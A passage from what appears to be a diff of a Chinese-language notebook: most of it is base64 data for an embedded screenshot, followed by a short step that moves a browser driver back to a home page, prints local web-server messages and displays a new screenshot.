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
+)
+
+好的。 让我们再次回到我们的主页。
+
+```py
+gui_driver.back()
+
+```
+
+```py
+print_httpd_messages()
+
+```
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
